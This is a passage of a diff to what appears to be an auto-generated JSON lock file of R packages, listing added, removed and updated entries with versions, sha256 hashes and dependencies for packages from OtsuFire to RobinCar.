"gridExtra", "hypervolume", "matrixStats", "sfsmisc", "viridis"] }, + "OtsuFire": { + "name": "OtsuFire", + "version": "0.1.4", + "sha256": "0zcvkv217kq1vjjipnh9g4afqzvrzqafqy89f2b2d3g60m93g64i", + "depends": ["OtsuSeg", "data_table", "dplyr", "gdalUtilities", "glue", "magrittr", "purrr", "raster", "rlang", "sf", "stringr", "terra", "tidyr"] + }, "OtsuSeg": { "name": "OtsuSeg", "version": "0.1.0", @@ -24043,12 +23827,6 @@ "sha256": "0h7381mr3jgzl7fi6v7amgmkf5agpkgy068c6ysgh3adlwsh6gs6", "depends": ["Rcpp", "Rtsne", "dplyr", "ggplot2", "ggrepel", "igraph", "infotheo", "parmigene"] }, - "PACLasso": { - "name": "PACLasso", - "version": "1.0.0", - "sha256": "1qzzymhfsjy8mk0r0xpd5h4wrx4wk8gq3vi6fnawkq5xkrg26rld", - "depends": ["MASS", "lars", "limSolve", "penalized", "quadprog"] - }, "PACVr": { "name": "PACVr", "version": "1.0.11", @@ -24087,8 +23865,8 @@ }, "PAMmisc": { "name": "PAMmisc", - "version": "1.12.4", - "sha256": "1yh1hx238czicsishg218iapizx2b8hkkjcim1z5gb0p5dnimq8n", + "version": "1.12.6", + "sha256": "0mvpaai20jsr0qs60k4f4paix9n2zh8gqgpls0cjvc8s8vv7l70m", "depends": ["PamBinaries", "RSQLite", "RcppRoll", "dplyr", "fftw", "geosphere", "ggplot2", "httr", "lubridate", "ncdf4", "purrr", "rerddap", "rjson", "scales", "seewave", "signal", "suncalc", "tuneR", "xml2"] }, "PAMpal": { @@ -24099,8 +23877,8 @@ }, "PAMscapes": { "name": "PAMscapes", - "version": "0.11.3", - "sha256": "03pzyy1lvaqapdk669mij6nv6j432ilki17dndh4jnrbr2nm492x", + "version": "0.14.0", + "sha256": "18kv25bmgzsqvrz70p1mqqvz4d98n6shxscsv86gf99hvy1kmni8", "depends": ["DT", "PAMmisc", "data_table", "dplyr", "future_apply", "geosphere", "ggplot2", "httr", "lubridate", "ncdf4", "purrr", "rlang", "scales", "sf", "shiny", "signal", "tdigest", "tidyr", "tuneR"] }, "PANACEA": { @@ -24145,11 +23923,11 @@ "sha256": "0c2pkms06lijly9clxp6zkasqy4zjicdwnvbqwvhp45yavwmkkkj", "depends": ["survival"] }, - "PAsso": { - "name": "PAsso", - "version": "0.1.10", - "sha256": "1qfwwgcra86x4469bqrv3jdm3vyvdiialfgfy184d1l5294pwv4x", - "depends": ["GGally", "MASS", "Rcpp", "VGAM", "copBasic", "copula", "dplyr", "foreach", "ggplot2", "gridExtra", "pcaPP", "plotly", "progress"] + "PAutilities": { + "name": "PAutilities", + "version": "1.2.1", + "sha256": "03nf89d6r78p271iqb0mgz8cgbip3m1m8pq5v2znim55jmcbv1rk", + "depends": ["Rcpp", "dplyr", "equivalence", "ggplot2", "lazyeval", "lubridate", "magrittr", "reshape2", "rlang"] }, "PBD": { "name": "PBD", @@ -24301,18 +24079,18 @@ "sha256": "07nfy733vfg19xdkqz1fjxhr6xn4cawbch7bqn93habb477mha1k", "depends": ["Rcpp", "RcppEigen"] }, - "PCPS": { - "name": "PCPS", - "version": "1.0.7", - "sha256": "0gxymz0yws1q1bxkpxi0lmbv57xx62h3dl7z3i2cnbagswkax3zh", - "depends": ["RcppArmadillo", "SYNCSA", "ape", "nlme", "phylobase", "picante", "vegan"] - }, "PCRA": { "name": "PCRA", "version": "1.2", "sha256": "0nc7pfvy43drjhfgql7bxf93xlkaqg083hc5cvirya1blrx2m48j", "depends": ["PerformanceAnalytics", "PortfolioAnalytics", "R_cache", "RobStatTM", "boot", "corpcor", "data_table", "lattice", "quadprog", "robustbase", "xts", "zoo"] }, + "PCRedux": { + "name": "PCRedux", + "version": "1.2-0", + "sha256": "0hk76f1wnj2g6xl4wlznzk7zxnixv74vnmfzk482kmhnn83c3z1r", + "depends": ["MBmca", "changepoint", "chipPCR", "ecp", "fda_usc", "pbapply", "pracma", "qpcR", "robustbase", "segmented", "shiny", "zoo"] + }, "PCS": { "name": "PCS", "version": "1.3", @@ -24405,8 +24183,8 @@ }, "PEIMAN2": { "name": "PEIMAN2", - "version": "1.0.0", - "sha256": "0nx3hsbb66667fywypwv8g3aji558nj7za33fy81ak61yj607zc4", + "version": "1.0.1", + "sha256": "19038za9xs82swra58psy05jbpgp3982pyhqilj7f9xzckf3yiya", "depends": ["dplyr", "forcats", "ggplot2", "glue", "lifecycle", "magrittr", "purrr", "rlang", "stringr"] }, "PEIP": { @@ -24471,8 +24249,8 @@ }, "PGM2": { "name": "PGM2", - "version": "1.0-1", - "sha256": "03282pcq7gw47awc2mxjsbz6w3zpqjhqd7fzg8la4p00cd0vvmr4", + "version": "1.2", + "sha256": "0s2603w8c58639qxl1jjd2mki84zp3lpi8smwdqrv16pdl906ria", "depends": [] }, "PGRdup": { @@ -24493,12 +24271,6 @@ "sha256": "0ikh8jrf2yq9f444wa5fkiwri5xfc9r19f7862p3s11xmax8dycn", "depends": ["forecast", "mvtnorm", "pracma"] }, - "PHENIX": { - "name": "PHENIX", - "version": "1.3.1", - "sha256": "1gd9ycrwawi81al4f5v559km1112giwqnwvvk8ynj4kdb5bqpyq4", - "depends": ["SuppDists", "ppcor"] - }, "PHENTHAUproc": { "name": "PHENTHAUproc", "version": "1.1", @@ -24751,6 +24523,12 @@ "sha256": "0x7vfj4r3z3rsh056j8sh7jzsmk6wpzgksvidybl8ra2z1sc69x9", "depends": ["Rfast", "Rfast2", "doParallel", "foreach", "igraph", "nloptr"] }, + "PND_heter_cluster": { + "name": "PND.heter.cluster", + "version": "0.1.0", + "sha256": "0kixf5v691i84x0djcjyfyc9jq2zbnixr0if2ksr8mz7maaxsq98", + "depends": ["SuperLearner", "boot", "dplyr", "glue", "magrittr", "mvtnorm", "nnet", "origami", "purrr", "ranger", "tidyverse", "xgboost"] + }, "PNDSIBGE": { "name": "PNDSIBGE", "version": "0.1.1", @@ -25455,8 +25233,8 @@ }, "PamBinaries": { "name": "PamBinaries", - "version": "1.9.0", - "sha256": "1anxn06l714ila4kjdbvrmfnmg7k7rwbscvzdd0z768h84s34v19", + "version": "1.9.3", + "sha256": "0gjmisk8sk9x69dj47zls3j6z5yz97fhcf4ggq5329k97am16063", "depends": ["dplyr", "ggplot2"] }, "PanCanVarSel": { @@ -25479,8 +25257,8 @@ }, "PanelMatch": { "name": "PanelMatch", - "version": "3.0.0", - "sha256": "11b296gr0bh9m5s77k79zxbcqr7clwlzx1fpawp16k4vlqs1q6x1", + "version": "3.1.1", + "sha256": "1licrqx3f4vp4qnvdc7czlzqnbmga41b4k85hal02k44sk8hf8n2", "depends": ["CBPS", "MASS", "Matrix", "Rcpp", "RcppArmadillo", "RcppEigen", "data_table", "doParallel", "foreach", "ggplot2"] }, "PanelTM": { @@ -25509,9 +25287,9 @@ }, "ParallelLogger": { "name": "ParallelLogger", - "version": "3.4.1", - "sha256": "1hakwzj1k10d4wvd0h6qa1ndk54i70l1mlwnms38mhyvab988q1z", - "depends": ["jsonlite", "rstudioapi", "snow", "xml2"] + "version": "3.4.2", + "sha256": "1gqg0cz1amg9llglf44lm2kg04sq1dp2fjvc03lgn0g3mjqshm96", + "depends": ["jsonlite", "memuse", "rstudioapi", "snow", "xml2"] }, "ParallelPC": { "name": "ParallelPC", @@ -25593,8 +25371,8 @@ }, "PatientProfiles": { "name": "PatientProfiles", - "version": "1.3.1", - "sha256": "1h2k2q4gz5y7ihwa9v69rnmxfvm7maanhivs7vbkiazjbilkgj4a", + "version": "1.4.0", + "sha256": "0daq13ac314lcfsjjg1i5zk62fjnyfnnwf5hq2ms3qp15zc7cqp1", "depends": ["CDMConnector", "cli", "dplyr", "lifecycle", "omopgenerics", "purrr", "rlang", "stringr", "tidyr"] }, "Patterns": { @@ -25875,8 +25653,8 @@ }, "PhotoGEA": { "name": "PhotoGEA", - "version": "1.3.2", - "sha256": "0v33l77m40pdzs58k1w4bix50z8yxbsqvbb2ar364a582sca0vkc", + "version": "1.3.3", + "sha256": "1la50bvxipzlkw8zfcc2s51nwjaabx2dgbkrrivzyzz6dsk10q7b", "depends": ["DEoptim", "dfoptim", "lattice", "openxlsx"] }, "PhotosynQ": { @@ -26287,12 +26065,6 @@ "sha256": "0cq7vnmslb4y9d9a4jk7z5xajw4vr2q1qqhkak9m9gidyr4dp5zl", "depends": ["dplyr"] }, - "PortRisk": { - "name": "PortRisk", - "version": "1.1.0", - "sha256": "05yxqcv0cijy3s9zx68f9xy59jv55kmj3v0pz5pgl17j23kb9rlc", - "depends": ["MASS", "MCMCpack", "copula", "tseries", "zoo"] - }, "PortalHacienda": { "name": "PortalHacienda", "version": "0.1.7", @@ -26353,12 +26125,6 @@ "sha256": "1g4zrprbd5q1dn4jfq5c9ayss4p0ljhbsfr3h8h9sjbmcg62rsal", "depends": ["PowerTOST", "cubature", "mvtnorm"] }, - "PowerNormal": { - "name": "PowerNormal", - "version": "1.2.0", - "sha256": "1kryqcjvgwk0l4z3gqxdiz47mha3jw5583jlb9z7ml6v7cam06sm", - "depends": [] - }, "PowerSDI": { "name": "PowerSDI", "version": "1.0.0", @@ -26425,12 +26191,6 @@ "sha256": "10fnr0b159ym001hdnkr7cir5vaaglcxrbyrxmky430f5nhhcv0f", "depends": [] }, - "PredCRG": { - "name": "PredCRG", - "version": "1.0.2", - "sha256": "0z84p8l2q66rapb9lhx8m8iadz3q989q5qkvcp8ylv80cz6qkibx", - "depends": ["Biostrings", "Peptides", "e1071", "kernlab", "protr"] - }, "PredPsych": { "name": "PredPsych", "version": "0.4", @@ -26479,12 +26239,6 @@ "sha256": "16r3bjrhdqpfbwlmiqp474wyj2pg6fnhql05carz1ayqga08pgwb", "depends": ["ggplot2", "lifecycle"] }, - "PrevMap": { - "name": "PrevMap", - "version": "1.5.4", - "sha256": "12cw4dmbsnx9c4y5l5k0paqn1wwbxy9ciw46r254n5rd275fhksh", - "depends": ["Matrix", "lme4", "maxLik", "numDeriv", "pdist", "raster", "splancs", "truncnorm"] - }, "PriceIndices": { "name": "PriceIndices", "version": "0.2.3", @@ -26619,8 +26373,8 @@ }, "ProfileLadder": { "name": "ProfileLadder", - "version": "0.1.1", - "sha256": "0z6mlmzjr8hp1nxiw4wr6jmzlshb2f9i0kxv9p6smc3bm710jjr3", + "version": "0.1.2", + "sha256": "0qrw6k12pbdribjlk25rvmlvkgbs5w9b3lf5lazff0xx0hqhkb7w", "depends": ["ChainLadder", "raw"] }, "ProfileLikelihood": { @@ -26629,12 +26383,6 @@ "sha256": "0yxcrxw3jb8bnwqh5f5d8bmm5jlkyxfld12zfyw3b1031zj1vh6i", "depends": ["MASS", "nlme"] }, - "ProfoundData": { - "name": "ProfoundData", - "version": "0.2.1", - "sha256": "1zqg821pv3i5nf76s7yppnmy13y14pj0l7rjhk50wlxrxdb53ibz", - "depends": ["DBI", "RNetCDF", "RSQLite", "settings", "sqldf", "zoo"] - }, "ProgModule": { "name": "ProgModule", "version": "0.1.0", @@ -26703,8 +26451,8 @@ }, "ProxReg": { "name": "ProxReg", - "version": "0.1.1", - "sha256": "1kjspmqkjqnm063fj3ldilng7v0v7as4z3f8w0rzcwxz8v8w6mpn", + "version": "1.1.1", + "sha256": "1j6m0f6jjv061r05i3ipj3knb11z6impsp453blazbqfl9gr4k51", "depends": ["EBImage", "dplyr", "glmnet"] }, "Przewodnik": { @@ -26733,8 +26481,8 @@ }, "PtProcess": { "name": "PtProcess", - "version": "3.3-16", - "sha256": "1d5i847jy9i1llbfsdkqcjmiids3kjxnqscinrwqyv7mwb9ijk2z", + "version": "3.3-17", + "sha256": "0k7pl3yk33gmyh8a84daxcr87g2jqlxb9kzaxm1ag7d95z3r27dg", "depends": [] }, "PubChemR": { @@ -26773,11 +26521,11 @@ "sha256": "0lsr27014zm389xzyddklkql05zh4x9d7jcjz3yv78fwbjzw4v23", "depends": ["data_table", "lava", "multcomp", "prodlim", "survival"] }, - "PupilPre": { - "name": "PupilPre", - "version": "0.6.2", - "sha256": "123m1zqld0jl26vqz41iic7vxzyfs1aw8zi5ki2cy6wzw9ss87m6", - "depends": ["VWPre", "dplyr", "ggplot2", "mgcv", "rlang", "robustbase", "shiny", "signal", "tidyr", "zoo"] + "PulmoDataSets": { + "name": "PulmoDataSets", + "version": "0.1.0", + "sha256": "01d1hjrh6fr8g5fbrfz7qwb40a8g34yyk08ai06qj5ydaqxhmyil", + "depends": [] }, "PupillometryR": { "name": "PupillometryR", @@ -27019,12 +26767,6 @@ "sha256": "1f924r5bf5vjfl12hk1n5m3f94g30f6vmvzq2bn8295dflyndck0", "depends": ["quantreg"] }, - "QRegVCM": { - "name": "QRegVCM", - "version": "1.2", - "sha256": "0fcydkf6r2qxd59ylr8vn76bkxks91v58gfzvq3rjd5mqf9vsaaq", - "depends": ["SparseM", "quantreg", "truncSP"] - }, "QSARdata": { "name": "QSARdata", "version": "1.3", @@ -27231,8 +26973,8 @@ }, "QuickJSR": { "name": "QuickJSR", - "version": "1.7.0", - "sha256": "1s31sfcjnb7m4apibqs4rj418rc3ljvyc1sj3j8i524sf5r9mag8", + "version": "1.8.0", + "sha256": "1wdmi8hxlkvyyylwd59wsg17m16gm4mjp13npvqkrxaj4qbw981v", "depends": [] }, "QurvE": { @@ -27243,8 +26985,8 @@ }, "Qval": { "name": "Qval", - "version": "1.2.2", - "sha256": "1yl2klhpdics2ylsy4i6qmm73f1i0d4ypxcrad74mxsfki966idx", + "version": "1.2.3", + "sha256": "1kcd5sn49rmpzyvk8iqdz7cbxn36z9m5007dlrvfi53cjc4j4ljs", "depends": ["GDINA", "MASS", "Matrix", "Rcpp", "glmnet", "nloptr", "plyr"] }, "R_AlphA_Home": { @@ -27301,12 +27043,6 @@ "sha256": "1frkgjc2mzvjnay8g5nky1bvxv60wvsypmmdj6mbsfjnzq7ni7qs", "depends": ["R_cache", "R_methodsS3", "R_oo", "R_utils", "digest"] }, - "R_temis": { - "name": "R.temis", - "version": "0.1.3", - "sha256": "1qa381fv1hxd1fv9d22772aibiia6m2ycm69znjy3ah2w986hjfh", - "depends": ["FactoMineR", "NLP", "SnowballC", "crayon", "explor", "igraph", "slam", "stringi", "testthat", "tm", "tm_plugin_alceste", "tm_plugin_europresse", "tm_plugin_factiva", "tm_plugin_lexisnexis", "wordcloud"] - }, "R_utils": { "name": "R.utils", "version": "2.13.0", @@ -27403,12 +27139,6 @@ "sha256": "0i4ljqvka2rrwv19v0gd1hkh130bs0x83zqjq8gm6mbzbx9kw0h9", "depends": ["Rcpp", "ggplot2", "microbenchmark", "shiny"] }, - "R2ucare": { - "name": "R2ucare", - "version": "1.0.2", - "sha256": "0940c9zw3fifs7m4hrx9aqv4d56q3263bl12lzk2mx2sfjp9rzlw", - "depends": ["RMark", "stringr"] - }, "R3port": { "name": "R3port", "version": "0.3.1", @@ -27423,9 +27153,9 @@ }, "R4GoodPersonalFinances": { "name": "R4GoodPersonalFinances", - "version": "0.2.0", - "sha256": "19zwpm459q5kr3jxg1b2vcag5a1k46f9zyan8l84q3ryqmrs0s50", - "depends": ["PrettyCols", "bsicons", "bslib", "dplyr", "fs", "ggplot2", "ggrepel", "ggtext", "glue", "purrr", "readr", "scales", "shiny", "stringr", "tidyr", "withr"] + "version": "1.0.0", + "sha256": "01cac18gdg5dkspwk3kzvcbi5mrskxgic2whyk4awcbzm468z7ir", + "depends": ["PrettyCols", "bsicons", "bslib", "cachem", "cli", "dplyr", "fs", "furrr", "future", "ggplot2", "ggrepel", "ggtext", "glue", "lubridate", "memoise", "nloptr", "progressr", "purrr", "readr", "rlang", "scales", "shiny", "stringr", "tidyr"] }, "R4HCR": { "name": "R4HCR", @@ -27495,8 +27225,8 @@ }, "RAGFlowChainR": { "name": "RAGFlowChainR", - "version": "0.1.4", - "sha256": "09g4xwp8csyjrsxb4lagmrvkczq4r08vprs8xgzp7z8czf8xc99w", + "version": "0.1.5", + "sha256": "199xfc9vl5zjq768h1p7yp56i81xf9dp6nv6p38cvw9vr3a0z1jk", "depends": ["DBI", "curl", "dplyr", "duckdb", "httr", "officer", "pdftools", "rvest", "xml2"] }, "RAINBOWR": { @@ -27883,12 +27613,6 @@ "sha256": "0aqjs7dh40d24l8fhhkyf1vnpwbxm47blfi4lwwld2hyi854m80q", "depends": ["Rcpp", "Rfast"] }, - "RDML": { - "name": "RDML", - "version": "1.0", - "sha256": "13ly1p42njbcygwvkyii8sjqbsywjy5w5g1kd7m8kswi5dsk3qqv", - "depends": ["R6", "checkmate", "data_table", "lubridate", "pipeR", "readxl", "rlist", "stringr", "xml2"] - }, "RDP": { "name": "RDP", "version": "0.3.0", @@ -27975,8 +27699,8 @@ }, "REDCapTidieR": { "name": "REDCapTidieR", - "version": "1.2.2", - "sha256": "0sxp4q5wq2fml1knr79kgp3g669q6xbm6dg4mik2ybw6m1br2iwh", + "version": "1.2.3", + "sha256": "17pn2k5r9mn1762xn4nvm6x6zfk0gac7vw04qs3gif9nywbfl71r", "depends": ["REDCapR", "checkmate", "cli", "dplyr", "forcats", "formattable", "glue", "lobstr", "lubridate", "pillar", "purrr", "readr", "rlang", "stringi", "stringr", "tibble", "tidyr", "tidyselect", "vctrs"] }, "REDI": { @@ -28443,8 +28167,8 @@ }, "RJSDMX": { "name": "RJSDMX", - "version": "3.6-0", - "sha256": "053vlazy0sf0jn6jjwhi11hmrnwby1w1fpdm69hqbad3c6szvp3n", + "version": "3.7-0", + "sha256": "0rfj1kpwcz2gyjc66qp8sxfq7paz1kqgbh3v2vp8l0xqmyyygj47", "depends": ["rJava", "zoo"] }, "RJSONIO": { @@ -28471,12 +28195,6 @@ "sha256": "0q03q95wy3zj98fn0fg9k4vqkkfvfn59v9ajsfm3b6baqkj8ppdk", "depends": ["lubridate", "settings", "stringi", "stringr"] }, - "RJcluster": { - "name": "RJcluster", - "version": "3.2.4", - "sha256": "157dmi5gksq7s16ip4n9j5bj9s9bawl078rh13s1xxyr6f51yp09", - "depends": ["Rcpp", "RcppArmadillo", "foreach", "infotheo", "matrixStats", "mclust", "profvis", "rlang"] - }, "RKEA": { "name": "RKEA", "version": "0.0-6", @@ -28609,18 +28327,18 @@ "sha256": "1yn0dwx3ccfjsqs0k9cmpnkia0h4icbx13gj9i2h7wn9crvfv5h5", "depends": ["Matrix", "chron", "date", "vars"] }, - "RMBC": { - "name": "RMBC", - "version": "0.1.0", - "sha256": "1fqbr28d09j01rmr9gylzkpvrd6bc9rnjbyzv06hmlx5mmjmzkb4", - "depends": ["MASS", "ktaucenters", "mvtnorm"] - }, "RMCC": { "name": "RMCC", "version": "0.1.1", "sha256": "0nzbjnayp85541pnibal517dhc0s7mhlllshx36m44lv2x3figpl", "depends": ["BH", "Rcpp"] }, + "RMCDA": { + "name": "RMCDA", + "version": "0.3", + "sha256": "0rairbx6fqwzpdc6b0did5212ki0ryc1b23xfwaql3a7b1rmzn5h", + "depends": ["dplyr", "fmsb", "igraph", "lpSolve", "matlib", "matrixStats", "nloptr", "pracma"] + }, "RMFM": { "name": "RMFM", "version": "1.1.0", @@ -28791,8 +28509,8 @@ }, "RNAmf": { "name": "RNAmf", - "version": "1.0.1", - "sha256": "1qsxkqd1j0xybb33fjbx13kkpfc3hjjb0gwzml3b92vzds9hn0s3", + "version": "1.1.1", + "sha256": "0246h8zzvqk6s3597vly3l99cfiy8xag5bs02pp79p34y5lix1hf", "depends": ["doParallel", "foreach", "lhs", "plgp"] }, "RNAseqNet": { @@ -28903,6 +28621,12 @@ "sha256": "0amvvrkiflmr3qygrsgrsja4gaf2v6r6h6i2bgpsm8r069vmlf2p", "depends": ["gplots"] }, + "ROCS": { + "name": "ROCS", + "version": "1.4", + "sha256": "18rgdai2fyv51v4yxvc8qgpmnqaxs5qxhbjl5svq1di6q46icag8", + "depends": ["poibin", "rgl"] + }, "ROCSI": { "name": "ROCSI", "version": "0.1.0", @@ -29461,6 +29185,12 @@ "sha256": "08p4gywh1g13mwcmvp046ybz410jyrzi505rdqr8yirjpk59bw1p", "depends": ["Metrics", "ggplot2", "gridExtra", "rJava", "shiny", "shinycssloaders", "shinyjs"] }, + "RSDA": { + "name": "RSDA", + "version": "3.2.4", + "sha256": "0qg7z42x8m70b1arkkcm9idyq72as4zqvmvqvmjhlpap0w4ispw1", + "depends": ["FactoMineR", "RJSONIO", "XML", "dplyr", "e1071", "forcats", "gbm", "ggplot2", "ggpolypath", "ggrepel", "glmnet", "kknn", "magrittr", "neuralnet", "nloptr", "plotly", "princurve", "purrr", "randomForest", "randomcoloR", "reshape", "rlang", "rpart", "scales", "sqldf", "stringr", "tibble", "tidyselect", "umap", "vctrs", "xtable"] + }, "RSDK": { "name": "RSDK", "version": "1.0.1", @@ -29511,8 +29241,8 @@ }, "RSQLite": { "name": "RSQLite", - "version": "2.3.11", - "sha256": "0n87p111wqkwc0hck8z9rcq8194pglrc3cb2s8y0h41bfsdj2siz", + "version": "2.4.1", + "sha256": "17b086wgpk0yynymhwm20j4ik6xf4xccpzl00nnk4zi6qp66ria7", "depends": ["DBI", "bit64", "blob", "cpp11", "memoise", "pkgconfig", "plogr", "rlang"] }, "RSSL": { @@ -29545,12 +29275,6 @@ "sha256": "091ch7fb3ndhjyk31igaafcsip207ycb7xkl4x114s06da0p521d", "depends": ["ggplot2", "purrr", "showtext", "sysfonts"] }, - "RSauceLabs": { - "name": "RSauceLabs", - "version": "0.1.6", - "sha256": "1p7hw6vnlg6w5ggmfpc3q3s6n1fikjkjnxzz97jifiy0zwn5dp9i", - "depends": ["data_table", "httr", "jsonlite", "whisker", "xml2"] - }, "RScelestial": { "name": "RScelestial", "version": "1.0.4", @@ -29851,12 +29575,6 @@ "sha256": "0qrv5mnnkn5fs7vx6i74z46s0qj9f98km5bizgj00832qyrq8q1s", "depends": ["RCurl", "httr", "jsonlite"] }, - "RZabbix": { - "name": "RZabbix", - "version": "0.1.0", - "sha256": "0c5803chpzvp7dk9pjfx5f0nqynb76ywakz04ah2nw07ypvcyjyr", - "depends": ["httr", "jsonlite"] - }, "RZigZag": { "name": "RZigZag", "version": "0.2.1", @@ -29865,8 +29583,8 @@ }, "RZooRoH": { "name": "RZooRoH", - "version": "0.3.2.1", - "sha256": "02sz2hgddgws4qwwvqgcd470r7ffyzs88r90mnhjl3889a5ixkml", + "version": "0.4.1", + "sha256": "0bqimp40rmbj9bdl5n1ygzlv3rw2myn75y2mnvckn8jpmi6qxlk8", "depends": ["RColorBrewer", "data_table", "doParallel", "foreach", "iterators"] }, "RaJIVE": { @@ -30267,8 +29985,8 @@ }, "RcmdrPlugin_BWS3": { "name": "RcmdrPlugin.BWS3", - "version": "0.3-0", - "sha256": "1yahkrzbsmx5an4hlnybi32ngbxa4yxkj09027av1qfsg3wyxlfb", + "version": "0.3-1", + "sha256": "0ac9vw34pgd2919d2gzk8xv55i60d8ndvwzi14rwvgc5ll38hh73", "depends": ["Rcmdr", "support_BWS3", "support_CEs", "survival"] }, "RcmdrPlugin_BiclustGUI": { @@ -30279,14 +29997,14 @@ }, "RcmdrPlugin_DCCV": { "name": "RcmdrPlugin.DCCV", - "version": "0.1-5", - "sha256": "12qdjjad7l0rdl2rh7jir5ygw9rz008wpbr0shkarc84sz1aipxr", - "depends": ["DCchoice", "Rcmdr"] + "version": "0.2-0", + "sha256": "0ic2qjd5brn8scxcwy7mjwnpp4gx1r3gd7qlx3fn2w05fbizr1hz", + "depends": ["DCchoice", "ISOcodes", "Rcmdr"] }, "RcmdrPlugin_DCE": { "name": "RcmdrPlugin.DCE", - "version": "0.3-0", - "sha256": "091csf0y0apqbgwzww7m3g369rc19abjlr5yqymn7f416amj2cps", + "version": "0.3-1", + "sha256": "0czn10132955j4mra811crnhx95lp0cx8xjkrmnhh32hhx4ciq1d", "depends": ["Rcmdr", "support_CEs", "survival"] }, "RcmdrPlugin_DoE": { @@ -30313,12 +30031,6 @@ "sha256": "0ppdn3fz8y3ckhhzhn0bhis4i2wd0r2ll8xmvvp6vnx42q9vnh0z", "depends": ["Rcmdr", "readstata13"] }, - "RcmdrPlugin_EcoVirtual": { - "name": "RcmdrPlugin.EcoVirtual", - "version": "1.0", - "sha256": "0q879wnrmgbaddv883q9zdnp0i7kjcgn8cffv7lp8nrsqil6l7mc", - "depends": ["EcoVirtual", "Rcmdr"] - }, "RcmdrPlugin_Export": { "name": "RcmdrPlugin.Export", "version": "0.3-1", @@ -30331,12 +30043,6 @@ "sha256": "1fr50yfjh1iy65lkvkw992l02q0vgrw2advj707z02806p69bkn1", "depends": ["FactoMineR", "Rcmdr"] }, - "RcmdrPlugin_GWRM": { - "name": "RcmdrPlugin.GWRM", - "version": "1.0.2", - "sha256": "01q4k9s815pgd5cavm6nyxy5npmpxryari9v6wys4n5cjpn5g6xq", - "depends": ["GWRM", "Rcmdr", "RcmdrMisc"] - }, "RcmdrPlugin_HH": { "name": "RcmdrPlugin.HH", "version": "1.1-51", @@ -30609,14 +30315,14 @@ }, "RcppDate": { "name": "RcppDate", - "version": "0.0.5", - "sha256": "0n2pif79jbdivrippffafy1mqrzn6wwyjip6bknz4wxr2jkpblly", + "version": "0.0.6", + "sha256": "0l3bzvr50j01g0h42nhlsnlz2b9l129n24hs0sj8h918rh1a8bxk", "depends": [] }, "RcppDist": { "name": "RcppDist", - "version": "0.1.1", - "sha256": "02g57xwfipdcljv06krhm02dbqn9kfyj2km6rdg0a7vq9prwdz1x", + "version": "0.1.1.1", + "sha256": "1bh93c9wfjcq9qrg6qwh0i8vmx6pknxph007yrf596vv43frkzdf", "depends": ["Rcpp", "RcppArmadillo"] }, "RcppDynProg": { @@ -30759,8 +30465,8 @@ }, "RcppPlanc": { "name": "RcppPlanc", - "version": "2.0.10", - "sha256": "0jxjpibkbky57hrwp6pr7dw0sqz5ic2fsdn7z4rq49139nx9bq3g", + "version": "2.0.12", + "sha256": "148yjcbyq72jr0wqjjwj41gd6m2mzghkk8p48bb23w88fzj2m333", "depends": ["Matrix", "Rcpp", "RcppArmadillo", "RcppProgress", "hdf5r_Extra"] }, "RcppProgress": { @@ -30879,8 +30585,8 @@ }, "Rcurvep": { "name": "Rcurvep", - "version": "1.3.1", - "sha256": "1l29z50ka9n2qma1pk8gw00xhxvzxkrd07dwrd8k5b36kiql2q3y", + "version": "1.3.2", + "sha256": "0f0xbrhyq4xqv7c8d59lbb6c2wzwrl96mpf208vwgsj2l8yrgb2s", "depends": ["Rdpack", "boot", "dplyr", "furrr", "ggplot2", "magrittr", "purrr", "rJava", "rlang", "stringr", "tibble", "tidyr", "tidyselect"] }, "Rd2md": { @@ -30895,6 +30601,12 @@ "sha256": "1p8xzgzl1h1ykj1j9c3gyr7a9m89sd9kwr5yqbdy9jkiwmmbb919", "depends": ["formatR", "roxygen2", "xfun"] }, + "Rdatasets": { + "name": "Rdatasets", + "version": "0.0.1", + "sha256": "1wvg9yxjdlv10lfk14lwsmz6qnc2zid3j4s5a7d668l49id2ghq4", + "depends": [] + }, "Rdiagnosislist": { "name": "Rdiagnosislist", "version": "1.4.0", @@ -30933,8 +30645,8 @@ }, "Rdsdp": { "name": "Rdsdp", - "version": "1.0.5.2.1", - "sha256": "0lm5c1cv6jyxkmr09khfnsab4bzjbfcg8j04zc4zqimy1541i6yn", + "version": "1.0.6", + "sha256": "1pdz307xzczfvk97y4n2jv5kcn97w615b014q28mgr4ayds26inx", "depends": [] }, "Rdta": { @@ -31269,9 +30981,9 @@ }, "ResIN": { "name": "ResIN", - "version": "2.0.0", - "sha256": "0by098xmbikvprbp2x860jvvdic3w1x09n2qcg1ipdj1pcdppz0g", - "depends": ["DirectedClustering", "Matrix", "doSNOW", "dplyr", "fastDummies", "foreach", "ggplot2", "igraph", "parallelly", "psych", "qgraph", "readr", "shadowtext", "wCorr"] + "version": "2.1.0", + "sha256": "0kx74xc029yi20l15ri1isv6k26xwybi2hhama232aa17z7dl0bj", + "depends": ["DirectedClustering", "Matrix", "doSNOW", "dplyr", "fastDummies", "foreach", "ggplot2", "ggraph", "igraph", "parallelly", "psych", "qgraph", "readr", "shadowtext", "tidyr", "wCorr"] }, "ResIndex": { "name": "ResIndex", @@ -31621,12 +31333,6 @@ "sha256": "15z2jz5zv3cw18kgvpm11g2i5p397h4a34j08wbkgmnjca76sgmd", "depends": ["Rcpp"] }, - "RmarineHeatWaves": { - "name": "RmarineHeatWaves", - "version": "0.17.0", - "sha256": "09lrrxnkkfnbidnmag1czx2xzssdl09348nkc6pqgq6xz36a3mqc", - "depends": ["dplyr", "ggplot2", "lazyeval", "lubridate", "plyr", "raster", "rlang", "tibble", "tidyr", "zoo"] - }, "RmdConcord": { "name": "RmdConcord", "version": "0.3", @@ -31743,8 +31449,8 @@ }, "RoBMA": { "name": "RoBMA", - "version": "3.4.0", - "sha256": "0xjp7sccznqvchh5zn5912q6blzw6ki81ma6vdmcn681rql4zlzc", + "version": "3.5.0", + "sha256": "0c1dfvlridvnxgnrq6q97zlj3693v0pppf6lmvzwl972pnm70jkg", "depends": ["BayesTools", "Rdpack", "coda", "ggplot2", "mvtnorm", "rjags", "rlang", "runjags", "scales"] }, "RoBSA": { @@ -31831,11 +31537,17 @@ "sha256": "06lh20b2wgz9b8imwddfcypxvrsprzn9hjn5sm68qbgvfs5ck2fs", "depends": ["pyinit", "robustbase", "rrcov"] }, + "RobinCID": { + "name": "RobinCID", + "version": "1.0.0", + "sha256": "0wbjd7ni52w9v83b7ajy8np8cdvksw208y4nmzcvwqhmxq330m69", + "depends": ["MASS", "checkmate", "numDeriv"] + }, "RobinCar": { "name": "RobinCar", - "version": "0.3.2", - "sha256": "0q8dimhygskzppbi8j3sxdcvrlrqk26f2kal8bzip6567y17dr25", - "depends": ["AIPW", "MASS", "SuperLearner", "broom", "data_table", "dplyr", "emulator", 